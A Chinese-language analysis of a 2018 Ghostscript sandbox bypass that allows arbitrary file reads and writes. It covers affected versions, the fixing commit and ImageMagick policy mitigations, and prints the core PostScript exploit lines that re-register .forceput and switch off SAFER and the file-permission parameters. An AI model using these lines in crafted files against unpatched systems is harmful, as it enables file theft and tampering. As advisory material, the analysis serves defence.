您好,登錄后才能下訂單哦!
這篇文章主要為大家展示了“ghostscript任意文件讀寫漏洞的示例分析”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“ghostscript任意文件讀寫漏洞的示例分析”這篇文章吧。
10 月 9號,Tavis Ormandy 通過公開郵件列表
(hxxps://bugs.chromium[.]org/p/project-zero/issues/detail?id=1682),
再次指出 ghostscript 的安全沙箱可以被繞過,通過構造惡意的圖片內容,可造成任意文件讀寫。
ghostscript應用廣泛,ImageMagick、python-matplotlib、libmagick 等圖像處理應用均有引用。
在ghostscript中由于以往的安全事件,針對安全問題gs官方采用增加參數-dSAFER來開啟安全沙箱,此次Taviso發現通過特殊的命令組使得.forceput留存于stack,通過再注冊該命令進行forceput命令的利用,引發任意讀寫漏洞。
version <= 9.26
(702f6982b63fca353d9106d2dbb6bb21f826c2e6)
之前的版本
官方已給出緩解措施
http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a54c9e61e7d0
http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a6807394bd94
但尚無release版本發布
漏洞導致所有引用ghostscript的上游應用受到影響。 常見應用如下:
imagemagick
libmagick
graphicsmagick
gimp
python-matplotlib
texlive-core
texmacs
latex2html
latex2rtf
等
<dict> <key> <value> .forceput -
Equivalent to put, but works even if dict is not writable,
and (if dict is systemdict or the current save level is 0)
even if dict is in global VM and key and/or value is in local VM.
This operator should be used only initialization code,
and only in executeonly procedures: it must not be accessible after initialization.
官方對.forceput的使用介紹,能夠強制更新dict中的值。
這次的漏洞主要原因也就是在觸發錯誤的時候由于構造出.forceput留存在棧中,然后被注冊成命令forceput進而對systemdict進行修改。
最終達到bypass safer以及開啟文件讀寫權限等操作。
核心過程分析首先利用如下命令訪問switch_to_normal_marking_ops
/pdfopdict null def
GS_PDF_ProcSet /switch_to_normal_marking_ops get stopped
觸發異常后的棧情況
利用如下命令將.forceput 注冊成forceput
/forceput $error /command get def
然后即可通過如下正常命令對systemdict進行修改
systemdict /SAFER false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput
commit a54c9e61e7d02bbc620bcba9b1c208462a876afb (HEAD)
Author: Chris Liddell <chris.liddell@artifex.com>
Date: Sat Sep 29 15:34:55 2018 +0100
Bug 699816: Improve hiding of security critical custom operators
Make procedures that use .forceput/.forcedef/.forceundef into operators.
The result of this is that errors get reported against the "top" operator,
rather than the "called" operator within the procedure.
For example:
/myproc
{
myop
} bind def
If 'myop' throws an error, the error handler will be passed the 'myop'
operator. Promoting 'myproc' to a operator means the error handler will be
passed 'myproc'.
在這次更新中對該問題進行了修復
在注冊的時候都以odef注冊成特殊的運算符使其無法被利用
在9.26(702f6982b63fca353d9106d2dbb6bb21f826c2e6)依舊work
php ImageMagick demo
目前官方已給出緩解措施,建議更新ghostscript。
至少需要到
(a54c9e61e7d02bbc620bcba9b1c208462a876afb)
之后的版本
若無法更新可先嘗試禁用使用gs解析ps文件
使用ImageMagick,建議修改policy文件(默認位置:/etc/ImageMagick/policy.xml),在
(即禁用 PS、EPS、PDF、XPS coders):
<policymap>
<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />
</policymap>
以上是“ghostscript任意文件讀寫漏洞的示例分析”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。